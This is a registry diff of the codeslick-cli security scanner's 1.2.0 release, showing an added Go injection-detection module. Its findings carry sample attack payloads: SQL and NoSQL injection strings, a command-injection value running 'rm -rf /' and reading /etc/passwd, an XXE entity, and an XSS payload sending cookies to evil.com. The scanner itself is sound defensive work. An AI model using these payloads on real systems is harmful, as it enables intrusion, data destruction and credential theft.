codeslick-cli 1.1.6 → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (90) hide show
  1. package/__tests__/local-scanner.test.ts +5 -0
  2. package/dist/packages/cli/src/commands/scan.d.ts.map +1 -1
  3. package/dist/packages/cli/src/commands/scan.js +3 -1
  4. package/dist/packages/cli/src/commands/scan.js.map +1 -1
  5. package/dist/packages/cli/src/config/config-loader.d.ts +2 -2
  6. package/dist/packages/cli/src/config/config-loader.d.ts.map +1 -1
  7. package/dist/packages/cli/src/config/config-loader.js +2 -2
  8. package/dist/packages/cli/src/config/config-loader.js.map +1 -1
  9. package/dist/packages/cli/src/scanner/local-scanner.d.ts +2 -2
  10. package/dist/packages/cli/src/scanner/local-scanner.d.ts.map +1 -1
  11. package/dist/packages/cli/src/scanner/local-scanner.js +10 -1
  12. package/dist/packages/cli/src/scanner/local-scanner.js.map +1 -1
  13. package/dist/src/lib/analyzers/go/quality-checks/code-quality.d.ts +20 -0
  14. package/dist/src/lib/analyzers/go/quality-checks/code-quality.d.ts.map +1 -0
  15. package/dist/src/lib/analyzers/go/quality-checks/code-quality.js +211 -0
  16. package/dist/src/lib/analyzers/go/quality-checks/code-quality.js.map +1 -0
  17. package/dist/src/lib/analyzers/go/security-checks/access-control.d.ts +20 -0
  18. package/dist/src/lib/analyzers/go/security-checks/access-control.d.ts.map +1 -0
  19. package/dist/src/lib/analyzers/go/security-checks/access-control.js +201 -0
  20. package/dist/src/lib/analyzers/go/security-checks/access-control.js.map +1 -0
  21. package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.d.ts +25 -0
  22. package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.d.ts.map +1 -0
  23. package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.js +545 -0
  24. package/dist/src/lib/analyzers/go/security-checks/ai-generated-code.js.map +1 -0
  25. package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.d.ts +23 -0
  26. package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.d.ts.map +1 -0
  27. package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.js +321 -0
  28. package/dist/src/lib/analyzers/go/security-checks/concurrency-safety.js.map +1 -0
  29. package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.d.ts +22 -0
  30. package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.d.ts.map +1 -0
  31. package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.js +267 -0
  32. package/dist/src/lib/analyzers/go/security-checks/credentials-crypto.js.map +1 -0
  33. package/dist/src/lib/analyzers/go/security-checks/deserialization.d.ts +19 -0
  34. package/dist/src/lib/analyzers/go/security-checks/deserialization.d.ts.map +1 -0
  35. package/dist/src/lib/analyzers/go/security-checks/deserialization.js +210 -0
  36. package/dist/src/lib/analyzers/go/security-checks/deserialization.js.map +1 -0
  37. package/dist/src/lib/analyzers/go/security-checks/error-handling.d.ts +19 -0
  38. package/dist/src/lib/analyzers/go/security-checks/error-handling.d.ts.map +1 -0
  39. package/dist/src/lib/analyzers/go/security-checks/error-handling.js +192 -0
  40. package/dist/src/lib/analyzers/go/security-checks/error-handling.js.map +1 -0
  41. package/dist/src/lib/analyzers/go/security-checks/injection-attacks.d.ts +24 -0
  42. package/dist/src/lib/analyzers/go/security-checks/injection-attacks.d.ts.map +1 -0
  43. package/dist/src/lib/analyzers/go/security-checks/injection-attacks.js +401 -0
  44. package/dist/src/lib/analyzers/go/security-checks/injection-attacks.js.map +1 -0
  45. package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.d.ts +19 -0
  46. package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.d.ts.map +1 -0
  47. package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.js +252 -0
  48. package/dist/src/lib/analyzers/go/security-checks/ssrf-detection.js.map +1 -0
  49. package/dist/src/lib/analyzers/go/security-checks/tls-configuration.d.ts +19 -0
  50. package/dist/src/lib/analyzers/go/security-checks/tls-configuration.d.ts.map +1 -0
  51. package/dist/src/lib/analyzers/go/security-checks/tls-configuration.js +112 -0
  52. package/dist/src/lib/analyzers/go/security-checks/tls-configuration.js.map +1 -0
  53. package/dist/src/lib/analyzers/go/security-checks/web-security.d.ts +22 -0
  54. package/dist/src/lib/analyzers/go/security-checks/web-security.d.ts.map +1 -0
  55. package/dist/src/lib/analyzers/go/security-checks/web-security.js +244 -0
  56. package/dist/src/lib/analyzers/go/security-checks/web-security.js.map +1 -0
  57. package/dist/src/lib/analyzers/go/utils/createVulnerability.d.ts +58 -0
  58. package/dist/src/lib/analyzers/go/utils/createVulnerability.d.ts.map +1 -0
  59. package/dist/src/lib/analyzers/go/utils/createVulnerability.js +71 -0
  60. package/dist/src/lib/analyzers/go/utils/createVulnerability.js.map +1 -0
  61. package/dist/src/lib/analyzers/go-analyzer.d.ts +48 -0
  62. package/dist/src/lib/analyzers/go-analyzer.d.ts.map +1 -0
  63. package/dist/src/lib/analyzers/go-analyzer.js +233 -0
  64. package/dist/src/lib/analyzers/go-analyzer.js.map +1 -0
  65. package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.d.ts.map +1 -1
  66. package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.js +1 -0
  67. package/dist/src/lib/analyzers/helpers/ai-code-detection-utils.js.map +1 -1
  68. package/dist/src/lib/analyzers/python/security-checks/injection-attacks.d.ts +5 -3
  69. package/dist/src/lib/analyzers/python/security-checks/injection-attacks.d.ts.map +1 -1
  70. package/dist/src/lib/analyzers/python/security-checks/injection-attacks.js +23 -5
  71. package/dist/src/lib/analyzers/python/security-checks/injection-attacks.js.map +1 -1
  72. package/dist/src/lib/analyzers/python-analyzer.d.ts.map +1 -1
  73. package/dist/src/lib/analyzers/python-analyzer.js +17 -1
  74. package/dist/src/lib/analyzers/python-analyzer.js.map +1 -1
  75. package/dist/src/lib/analyzers/secrets/secrets-analyzer.d.ts +1 -1
  76. package/dist/src/lib/analyzers/secrets/secrets-analyzer.d.ts.map +1 -1
  77. package/dist/src/lib/analyzers/secrets/secrets-analyzer.js.map +1 -1
  78. package/dist/src/lib/security/compliance-mapping.d.ts.map +1 -1
  79. package/dist/src/lib/security/compliance-mapping.js +403 -0
  80. package/dist/src/lib/security/compliance-mapping.js.map +1 -1
  81. package/dist/src/lib/security/severity-scoring.d.ts.map +1 -1
  82. package/dist/src/lib/security/severity-scoring.js +169 -0
  83. package/dist/src/lib/security/severity-scoring.js.map +1 -1
  84. package/dist/src/lib/types/index.d.ts +2 -2
  85. package/dist/src/lib/types/index.d.ts.map +1 -1
  86. package/example3.go +23 -0
  87. package/package.json +1 -1
  88. package/src/commands/scan.ts +3 -1
  89. package/src/config/config-loader.ts +3 -3
  90. package/src/scanner/local-scanner.ts +13 -2
@@ -0,0 +1,401 @@
1
+ "use strict";
2
+ /**
3
+ * Go Injection Attack Security Checks
4
+ * OWASP A03:2025 - Injection
5
+ *
6
+ * Detects SQL injection, command injection, LDAP injection, NoSQL injection,
7
+ * and XXE vulnerabilities in Go code. These are among the most critical security risks.
8
+ */
9
+ Object.defineProperty(exports, "__esModule", { value: true });
10
+ exports.checkInjectionAttacks = checkInjectionAttacks;
11
+ const createVulnerability_1 = require("../utils/createVulnerability");
12
+ /**
13
+ * Checks for injection attack vulnerabilities in Go code
14
+ *
15
+ * Covers:
16
+ * - Check #1: SQL Injection - String concatenation in database queries (CRITICAL)
17
+ * - Check #2: Command Injection - exec.Command with shell and user input (CRITICAL)
18
+ * - Check #3: LDAP Injection - Unsafe LDAP filter construction (HIGH)
19
+ * - Check #4: NoSQL Injection - MongoDB query construction with user input (HIGH)
20
+ * - Check #5: XXE - Unsafe XML parsing without DisallowDTD (HIGH)
21
+ * - Check #6: Template Injection - Unsafe template.HTML construction (HIGH)
22
+ *
23
+ * @param lines - Array of code lines
24
+ * @returns Array of security vulnerabilities found
25
+ */
26
+ function checkInjectionAttacks(lines) {
27
+ const vulnerabilities = [];
28
+ let inMultiLineComment = false;
29
+ // Track variables with unsafe SQL queries, LDAP filters, NoSQL queries
30
+ const unsafeSqlVariables = new Map();
31
+ const unsafeLdapVariables = new Map();
32
+ const unsafeNoSqlVariables = new Map();
33
+ // =============================================================================
34
+ // FIRST PASS: Track unsafe variable assignments
35
+ // =============================================================================
36
+ lines.forEach((line, index) => {
37
+ const lineNumber = index + 1;
38
+ const trimmed = line.trim();
39
+ // Skip comments and empty lines
40
+ if (!trimmed || trimmed.startsWith('//'))
41
+ return;
42
+ // Track SQL query construction with string concatenation or fmt.Sprintf
43
+ const hasSqlKeywords = /\b(SELECT|INSERT|UPDATE|DELETE|FROM|WHERE|JOIN|UNION)\b/i.test(trimmed);
44
+ const hasStringConcat = /[a-zA-Z_]\s*\+|\+\s*[^\s]/.test(trimmed);
45
+ const hasFmtSprintf = /fmt\.Sprintf\s*\(/i.test(trimmed);
46
+ const varAssignment = trimmed.match(/^(\w+)\s*:?=\s*/);
47
+ if (varAssignment && hasSqlKeywords && (hasStringConcat || hasFmtSprintf)) {
48
+ const variableName = varAssignment[1];
49
+ unsafeSqlVariables.set(variableName, lineNumber);
50
+ }
51
+ // Track LDAP filter construction with string concatenation or fmt.Sprintf
52
+ const hasLdapPatterns = /\((&|\|)?(\w+)=|\(objectClass=|\(cn=/i.test(trimmed);
53
+ const hasLdapEscapeFilter = /ldap\.EscapeFilter/i.test(trimmed);
54
+ if (varAssignment && hasLdapPatterns && (hasStringConcat || hasFmtSprintf) && !hasLdapEscapeFilter) {
55
+ const variableName = varAssignment[1];
56
+ unsafeLdapVariables.set(variableName, lineNumber);
57
+ }
58
+ // Track NoSQL query construction with string concatenation or unsafe operators
59
+ const hasNoSqlPatterns = /bson\.(M|D)\{|\$where|mapReduce/i.test(trimmed);
60
+ if (varAssignment && hasNoSqlPatterns && (hasStringConcat || /\$where|mapReduce/.test(trimmed))) {
61
+ const variableName = varAssignment[1];
62
+ unsafeNoSqlVariables.set(variableName, lineNumber);
63
+ }
64
+ });
65
+ // =============================================================================
66
+ // SECOND PASS: Detect vulnerabilities
67
+ // =============================================================================
68
+ lines.forEach((line, index) => {
69
+ const lineNumber = index + 1;
70
+ const trimmed = line.trim();
71
+ // Track multi-line comments (/* ... */)
72
+ if (trimmed.includes('/*')) {
73
+ inMultiLineComment = true;
74
+ }
75
+ if (trimmed.includes('*/')) {
76
+ inMultiLineComment = false;
77
+ return;
78
+ }
79
+ // Skip comments and empty lines
80
+ if (!trimmed || inMultiLineComment || trimmed.startsWith('//')) {
81
+ return;
82
+ }
83
+ // =============================================================================
84
+ // Check #1: SQL Injection - String concatenation in database queries
85
+ // =============================================================================
86
+ // CVSS 9.8 - CRITICAL
87
+ // Direct inline SQL injection
88
+ const hasSqlMethod = /db\.(Query|Exec|QueryRow|QueryContext|ExecContext)\s*\(/i.test(trimmed);
89
+ const hasStringConcat = /[a-zA-Z_]\s*\+|\+\s*[^\s]/.test(trimmed);
90
+ const hasSqlKeywords = /\b(SELECT|INSERT|UPDATE|DELETE|FROM|WHERE|JOIN|UNION)\b/i.test(trimmed);
91
+ if (hasSqlMethod && (hasStringConcat || /fmt\.Sprintf/.test(trimmed)) && hasSqlKeywords) {
92
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
93
+ category: 'go-sql-injection',
94
+ severity: 'critical',
95
+ confidence: 'high',
96
+ message: 'SQL Injection: String concatenation or formatting in database query',
97
+ line: lineNumber,
98
+ suggestion: 'Use parameterized queries with ? placeholders',
99
+ owasp: 'A03:2025 - Injection',
100
+ cwe: 'CWE-89',
101
+ pciDss: 'PCI DSS 6.5.1',
102
+ remediation: {
103
+ explanation: 'Parameterized queries separate SQL logic from data, preventing injection attacks. Go\'s database/sql package automatically escapes parameters.',
104
+ before: `query := "SELECT * FROM users WHERE id = " + userID\ndb.Query(query)`,
105
+ after: `query := "SELECT * FROM users WHERE id = ?"\ndb.Query(query, userID)`
106
+ },
107
+ attackVector: {
108
+ description: 'An attacker can inject malicious SQL by manipulating user input that is directly concatenated into queries.',
109
+ exploitExample: `userID = "1 OR 1=1 --" allows bypassing authentication\nuserID = "1; DROP TABLE users; --" enables database destruction`,
110
+ realWorldImpact: [
111
+ 'Complete database compromise and data theft',
112
+ 'Authentication bypass (accessing any account)',
113
+ 'Data manipulation or deletion',
114
+ 'Privilege escalation to admin accounts'
115
+ ]
116
+ }
117
+ }));
118
+ }
119
+ // Data flow tracking: Check if unsafe SQL variables are used
120
+ unsafeSqlVariables.forEach((declarationLine, variableName) => {
121
+ if (hasSqlMethod && new RegExp(`\\b${variableName}\\b`).test(trimmed)) {
122
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
123
+ category: 'go-sql-injection',
124
+ severity: 'critical',
125
+ confidence: 'high',
126
+ message: `SQL Injection: Using unsafe query variable '${variableName}' (defined at line ${declarationLine})`,
127
+ line: lineNumber,
128
+ suggestion: 'Use parameterized queries with ? placeholders',
129
+ owasp: 'A03:2025 - Injection',
130
+ cwe: 'CWE-89',
131
+ pciDss: 'PCI DSS 6.5.1',
132
+ remediation: {
133
+ explanation: 'Parameterized queries separate SQL logic from data, preventing injection attacks. Go\'s database/sql package automatically escapes parameters.',
134
+ before: `query := "SELECT * FROM users WHERE id = " + userID\ndb.Query(query)`,
135
+ after: `query := "SELECT * FROM users WHERE id = ?"\ndb.Query(query, userID)`
136
+ },
137
+ attackVector: {
138
+ description: 'An attacker can inject malicious SQL by manipulating user input that is directly concatenated into queries.',
139
+ exploitExample: `userID = "1 OR 1=1 --" allows bypassing authentication\nuserID = "1; DROP TABLE users; --" enables database destruction`,
140
+ realWorldImpact: [
141
+ 'Complete database compromise and data theft',
142
+ 'Authentication bypass (accessing any account)',
143
+ 'Data manipulation or deletion',
144
+ 'Privilege escalation to admin accounts'
145
+ ]
146
+ }
147
+ }));
148
+ }
149
+ });
150
+ // =============================================================================
151
+ // Check #2: Command Injection - exec.Command with shell and user input
152
+ // =============================================================================
153
+ // CVSS 9.8 - CRITICAL
154
+ const hasExecCommand = /exec\.Command\s*\(/i.test(trimmed);
155
+ const hasShell = /(["']sh["']|["']bash["']|["']\/bin\/sh["']|["']\/bin\/bash["'])/.test(trimmed);
156
+ const hasShellFlag = /(["']-c["'])/.test(trimmed);
157
+ if (hasExecCommand && hasShell && hasShellFlag) {
158
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
159
+ category: 'go-command-injection',
160
+ severity: 'critical',
161
+ confidence: 'high',
162
+ message: 'Command Injection: Using shell with exec.Command allows command injection',
163
+ line: lineNumber,
164
+ suggestion: 'Avoid shell invocation; pass command and arguments separately to exec.Command',
165
+ owasp: 'A03:2025 - Injection',
166
+ cwe: 'CWE-78',
167
+ pciDss: 'PCI DSS 6.5.1',
168
+ remediation: {
169
+ explanation: 'Invoking a shell enables meta-character attacks. Pass the command and each argument as separate parameters to exec.Command to prevent injection.',
170
+ before: `cmd := exec.Command("sh", "-c", "ls " + userPath)\ncmd.Run()`,
171
+ after: `cmd := exec.Command("ls", userPath)\ncmd.Run()`
172
+ },
173
+ attackVector: {
174
+ description: 'An attacker can inject shell commands by manipulating user input that is passed to a shell interpreter.',
175
+ exploitExample: `userPath = ".; rm -rf /" executes malicious commands\nuserPath = "| cat /etc/passwd" exfiltrates sensitive data`,
176
+ realWorldImpact: [
177
+ 'Remote Code Execution (RCE) on the server',
178
+ 'Complete system compromise',
179
+ 'Data exfiltration and theft',
180
+ 'Service disruption and malware installation'
181
+ ]
182
+ }
183
+ }));
184
+ }
185
+ // =============================================================================
186
+ // Check #3: LDAP Injection - Unsafe LDAP filter construction
187
+ // =============================================================================
188
+ // CVSS 7.5 - HIGH
189
+ const hasLdapSearch = /ldap\.NewSearchRequest|\.Search\s*\(/i.test(trimmed);
190
+ const hasLdapFilter = /Filter\s*:/i.test(trimmed);
191
+ const hasLdapFilterPattern = /\((&|\|)?(\w+)=/i.test(trimmed);
192
+ // Direct inline LDAP injection
193
+ if ((hasLdapSearch || hasLdapFilter) && hasStringConcat && hasLdapFilterPattern) {
194
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
195
+ category: 'go-ldap-injection',
196
+ severity: 'high',
197
+ confidence: 'medium',
198
+ message: 'LDAP Injection: Unsafe LDAP filter construction with string concatenation',
199
+ line: lineNumber,
200
+ suggestion: 'Use ldap.EscapeFilter() to sanitize user input in LDAP filters',
201
+ owasp: 'A03:2025 - Injection',
202
+ cwe: 'CWE-90',
203
+ pciDss: 'PCI DSS 6.5.1',
204
+ remediation: {
205
+ explanation: 'LDAP filters must escape special characters like parentheses, asterisks, and backslashes to prevent injection. Use ldap.EscapeFilter() on all user inputs.',
206
+ before: `filter := "(&(uid=" + username + ")(password=" + password + "))"\nsearchRequest := ldap.NewSearchRequest(baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, filter, nil, nil)`,
207
+ after: `import "github.com/go-ldap/ldap/v3"\nfilter := fmt.Sprintf("(&(uid=%s)(password=%s))", ldap.EscapeFilter(username), ldap.EscapeFilter(password))\nsearchRequest := ldap.NewSearchRequest(baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, filter, nil, nil)`
208
+ },
209
+ attackVector: {
210
+ description: 'An attacker can manipulate LDAP queries by injecting special characters, bypassing authentication or extracting sensitive directory information.',
211
+ exploitExample: `username = "*" retrieves all users\nusername = "admin)(uid=*" bypasses authentication`,
212
+ realWorldImpact: [
213
+ 'Authentication bypass',
214
+ 'Unauthorized access to directory data',
215
+ 'Information disclosure (user emails, groups)',
216
+ 'Privilege escalation'
217
+ ]
218
+ }
219
+ }));
220
+ }
221
+ // Data flow tracking for LDAP
222
+ unsafeLdapVariables.forEach((declarationLine, variableName) => {
223
+ if ((hasLdapSearch || hasLdapFilter) && new RegExp(`\\b${variableName}\\b`).test(trimmed)) {
224
+ // Check if ldap.EscapeFilter is used - if so, skip (it's safe)
225
+ if (/ldap\.EscapeFilter/i.test(trimmed)) {
226
+ return;
227
+ }
228
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
229
+ category: 'go-ldap-injection',
230
+ severity: 'high',
231
+ confidence: 'medium',
232
+ message: `LDAP Injection: Using unsafe filter variable '${variableName}' (defined at line ${declarationLine})`,
233
+ line: lineNumber,
234
+ suggestion: 'Use ldap.EscapeFilter() to sanitize user input in LDAP filters',
235
+ owasp: 'A03:2025 - Injection',
236
+ cwe: 'CWE-90',
237
+ pciDss: 'PCI DSS 6.5.1',
238
+ remediation: {
239
+ explanation: 'LDAP filters must escape special characters like parentheses, asterisks, and backslashes to prevent injection. Use ldap.EscapeFilter() on all user inputs.',
240
+ before: `filter := "(&(uid=" + username + ")(password=" + password + "))"\nsearchRequest := ldap.NewSearchRequest(baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, filter, nil, nil)`,
241
+ after: `import "github.com/go-ldap/ldap/v3"\nfilter := fmt.Sprintf("(&(uid=%s)(password=%s))", ldap.EscapeFilter(username), ldap.EscapeFilter(password))\nsearchRequest := ldap.NewSearchRequest(baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false, filter, nil, nil)`
242
+ },
243
+ attackVector: {
244
+ description: 'An attacker can manipulate LDAP queries by injecting special characters, bypassing authentication or extracting sensitive directory information.',
245
+ exploitExample: `username = "*" retrieves all users\nusername = "admin)(uid=*" bypasses authentication`,
246
+ realWorldImpact: [
247
+ 'Authentication bypass',
248
+ 'Unauthorized access to directory data',
249
+ 'Information disclosure (user emails, groups)',
250
+ 'Privilege escalation'
251
+ ]
252
+ }
253
+ }));
254
+ }
255
+ });
256
+ // =============================================================================
257
+ // Check #4: NoSQL Injection - MongoDB query construction with user input
258
+ // =============================================================================
259
+ // CVSS 8.1 - HIGH
260
+ const hasMongoQuery = /bson\.(M|D)\{|collection\.(Find|FindOne|UpdateOne|DeleteOne|MapReduce)/i.test(trimmed);
261
+ const hasUnsafeOperator = /\$where|mapReduce/i.test(trimmed);
262
+ // Direct inline NoSQL injection
263
+ if (hasMongoQuery && (hasStringConcat || hasUnsafeOperator)) {
264
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
265
+ category: 'go-nosql-injection',
266
+ severity: 'high',
267
+ confidence: 'medium',
268
+ message: 'NoSQL Injection: Unsafe MongoDB query construction with user input',
269
+ line: lineNumber,
270
+ suggestion: 'Validate and sanitize user input; avoid $where and mapReduce with untrusted data',
271
+ owasp: 'A03:2025 - Injection',
272
+ cwe: 'CWE-943',
273
+ pciDss: 'PCI DSS 6.5.1',
274
+ remediation: {
275
+ explanation: 'NoSQL injection occurs when user input is directly embedded in queries without validation. Avoid operators like $where and mapReduce with untrusted input. Use type-safe bson structures.',
276
+ before: `filter := bson.M{"$where": "this.username == '" + username + "'"}`,
277
+ after: `// Use parameterized filters\nfilter := bson.M{"username": username}\n// Or validate input\nif !isValidUsername(username) { return errors.New("invalid username") }`
278
+ },
279
+ attackVector: {
280
+ description: 'An attacker can manipulate NoSQL queries to bypass authentication, extract data, or execute arbitrary JavaScript in MongoDB.',
281
+ exploitExample: `username = "' || 1==1 //" bypasses authentication\nusername = "'; db.users.drop(); //" destroys collections`,
282
+ realWorldImpact: [
283
+ 'Authentication bypass',
284
+ 'Unauthorized data access',
285
+ 'Database manipulation or deletion',
286
+ 'Arbitrary code execution in MongoDB context'
287
+ ]
288
+ }
289
+ }));
290
+ }
291
+ // Data flow tracking for NoSQL
292
+ unsafeNoSqlVariables.forEach((declarationLine, variableName) => {
293
+ if (hasMongoQuery && new RegExp(`\\b${variableName}\\b`).test(trimmed)) {
294
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
295
+ category: 'go-nosql-injection',
296
+ severity: 'high',
297
+ confidence: 'medium',
298
+ message: `NoSQL Injection: Using unsafe query variable '${variableName}' (defined at line ${declarationLine})`,
299
+ line: lineNumber,
300
+ suggestion: 'Validate and sanitize user input; avoid $where and mapReduce with untrusted data',
301
+ owasp: 'A03:2025 - Injection',
302
+ cwe: 'CWE-943',
303
+ pciDss: 'PCI DSS 6.5.1',
304
+ remediation: {
305
+ explanation: 'NoSQL injection occurs when user input is directly embedded in queries without validation. Avoid operators like $where and mapReduce with untrusted input. Use type-safe bson structures.',
306
+ before: `filter := bson.M{"$where": "this.username == '" + username + "'"}`,
307
+ after: `// Use parameterized filters\nfilter := bson.M{"username": username}\n// Or validate input\nif !isValidUsername(username) { return errors.New("invalid username") }`
308
+ },
309
+ attackVector: {
310
+ description: 'An attacker can manipulate NoSQL queries to bypass authentication, extract data, or execute arbitrary JavaScript in MongoDB.',
311
+ exploitExample: `username = "' || 1==1 //" bypasses authentication\nusername = "'; db.users.drop(); //" destroys collections`,
312
+ realWorldImpact: [
313
+ 'Authentication bypass',
314
+ 'Unauthorized data access',
315
+ 'Database manipulation or deletion',
316
+ 'Arbitrary code execution in MongoDB context'
317
+ ]
318
+ }
319
+ }));
320
+ }
321
+ });
322
+ // =============================================================================
323
+ // Check #5: XXE - Unsafe XML parsing without DisallowDTD
324
+ // =============================================================================
325
+ // CVSS 8.5 - HIGH
326
+ const hasXmlParsing = /xml\.(NewDecoder|Unmarshal|Decoder)/i.test(trimmed);
327
+ if (hasXmlParsing) {
328
+ // Check if there's any security configuration nearby (simple heuristic)
329
+ const nextLineIndex = index + 1;
330
+ const prevLineIndex = index - 1;
331
+ const nextLine = nextLineIndex < lines.length ? lines[nextLineIndex].trim() : '';
332
+ const prevLine = prevLineIndex >= 0 ? lines[prevLineIndex].trim() : '';
333
+ const hasSecurityConfig = /DisableExternalEntities|DisableEntityExpansion/i.test(trimmed) ||
334
+ /DisableExternalEntities|DisableEntityExpansion/i.test(nextLine) ||
335
+ /DisableExternalEntities|DisableEntityExpansion/i.test(prevLine);
336
+ if (!hasSecurityConfig) {
337
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
338
+ category: 'go-xxe-vulnerability',
339
+ severity: 'high',
340
+ confidence: 'medium',
341
+ message: 'XXE Vulnerability: XML parsing may allow external entity attacks',
342
+ line: lineNumber,
343
+ suggestion: 'Ensure XML parser disables external entities and DTD processing',
344
+ owasp: 'A05:2025 - Security Misconfiguration',
345
+ cwe: 'CWE-611',
346
+ pciDss: 'PCI DSS 6.5.1',
347
+ remediation: {
348
+ explanation: 'XML External Entity (XXE) attacks occur when XML parsers process external entities, potentially reading local files or making SSRF requests. Disable external entity processing.',
349
+ before: `decoder := xml.NewDecoder(reader)\nerr := decoder.Decode(&data)`,
350
+ after: `// Go's xml package is relatively safe by default, but use a secure wrapper\n// For critical applications, consider using a library that explicitly disables entities\ndecoder := xml.NewDecoder(reader)\n// Note: Go's standard library doesn't support DTDs, but external libraries might`
351
+ },
352
+ attackVector: {
353
+ description: 'An attacker can read local files or trigger SSRF attacks by injecting external entity references in XML input.',
354
+ exploitExample: `<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>\n<!-- Reads /etc/passwd -->`,
355
+ realWorldImpact: [
356
+ 'Local file disclosure (credentials, config files)',
357
+ 'Server-Side Request Forgery (SSRF)',
358
+ 'Denial of Service (DOS)',
359
+ 'Port scanning of internal network'
360
+ ]
361
+ }
362
+ }));
363
+ }
364
+ }
365
+ // =============================================================================
366
+ // Check #6: Template Injection - Unsafe template.HTML construction
367
+ // =============================================================================
368
+ // CVSS 7.5 - HIGH
369
+ const hasTemplateHTML = /template\.(HTML|JS|CSS|JSStr|URL)\s*\(/i.test(trimmed);
370
+ if (hasTemplateHTML && hasStringConcat) {
371
+ vulnerabilities.push((0, createVulnerability_1.createGoSecurityVulnerability)({
372
+ category: 'go-template-injection',
373
+ severity: 'high',
374
+ confidence: 'high',
375
+ message: 'Template Injection: Unsafe template.HTML() construction with user input',
376
+ line: lineNumber,
377
+ suggestion: 'Let html/template auto-escape user input; avoid template.HTML() with untrusted data',
378
+ owasp: 'A03:2025 - Injection',
379
+ cwe: 'CWE-79',
380
+ pciDss: 'PCI DSS 6.5.7',
381
+ remediation: {
382
+ explanation: 'template.HTML() bypasses auto-escaping in html/template, allowing XSS attacks. Never use template.HTML() with user input. Let the template engine auto-escape by default.',
383
+ before: `html := template.HTML("<div>" + userInput + "</div>")\nt.Execute(w, html)`,
384
+ after: `// Pass raw data and let template auto-escape\ndata := struct{ Input string }{Input: userInput}\nt.Execute(w, data)\n// In template: <div>{{.Input}}</div>`
385
+ },
386
+ attackVector: {
387
+ description: 'An attacker can inject malicious JavaScript by manipulating user input that is wrapped in template.HTML(), bypassing auto-escaping.',
388
+ exploitExample: `userInput = "<script>alert(document.cookie)</script>" steals session cookies\nuserInput = "<img src=x onerror=fetch('evil.com?c='+document.cookie)>" exfiltrates data`,
389
+ realWorldImpact: [
390
+ 'Cross-Site Scripting (XSS) attacks',
391
+ 'Session hijacking and cookie theft',
392
+ 'Account takeover',
393
+ 'Malware distribution'
394
+ ]
395
+ }
396
+ }));
397
+ }
398
+ });
399
+ return vulnerabilities;
400
+ }
401
+ //# sourceMappingURL=injection-attacks.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"injection-attacks.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/go/security-checks/injection-attacks.ts"],"names":[],"mappings":";AAAA;;;;;;GAMG;;AAmBH,sDA6bC;AA7cD,sEAA6E;AAE7E;;;;;;;;;;;;;GAaG;AACH,SAAgB,qBAAqB,CAAC,KAAe;IACnD,MAAM,eAAe,GAA4B,EAAE,CAAC;IACpD,IAAI,kBAAkB,GAAG,KAAK,CAAC;IAE/B,uEAAuE;IACvE,MAAM,kBAAkB,GAAG,IAAI,GAAG,EAAkB,CAAC;IACrD,MAAM,mBAAmB,GAAG,IAAI,GAAG,EAAkB,CAAC;IACtD,MAAM,oBAAoB,GAAG,IAAI,GAAG,EAAkB,CAAC;IAEvD,gFAAgF;IAChF,gDAAgD;IAChD,gFAAgF;IAChF,KAAK,CAAC,OAAO,CAAC,CAAC,IAAI,EAAE,KAAK,EAAE,EAAE;QAC5B,MAAM,UAAU,GAAG,KAAK,GAAG,CAAC,CAAC;QAC7B,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,EAAE,CAAC;QAE5B,gCAAgC;QAChC,IAAI,CAAC,OAAO,IAAI,OAAO,CAAC,UAAU,CAAC,IAAI,CAAC;YAAE,OAAO;QAEjD,wEAAwE;QACxE,MAAM,cAAc,GAAG,0DAA0D,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;QAChG,MAAM,eAAe,GAAG,2BAA2B,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;QAClE,MAAM,aAAa,GAAG,oBAAoB,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;QACzD,MAAM,aAAa,GAAG,OAAO,CAAC,KAAK,CAAC,iBAAiB,CAAC,CAAC;QAEvD,IAAI,aAAa,IAAI,cAAc,IAAI,CAAC,eAAe,IAAI,aAAa,CAAC,EAAE,CAAC;YAC1E,MAAM,YAAY,GAAG,aAAa,CAAC,CAAC,CAAC,CAAC;YACtC,kBAAkB,CAAC,GAAG,CAAC,YAAY,EAAE,UAAU,CAAC,CAAC;QACnD,CAAC;QAED,0EAA0E;QAC1E,MAAM,eAAe,GAAG,uCAAuC,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;QAC9E,MAAM,mBAAmB,GAAG,qBAAqB,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC;QAChE,IAAI,aAAa,IAAI,eAAe,IAAI,CAAC,eAAe,IAAI,aAAa,